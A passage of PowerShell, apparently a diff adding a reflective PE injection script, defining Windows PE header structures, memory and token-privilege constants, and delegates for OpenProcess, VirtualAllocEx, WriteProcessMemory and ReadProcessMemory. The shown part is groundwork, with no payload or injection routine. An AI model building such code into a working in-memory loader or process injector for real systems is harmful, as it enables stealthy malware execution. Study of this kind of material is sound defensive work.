($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself + $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) 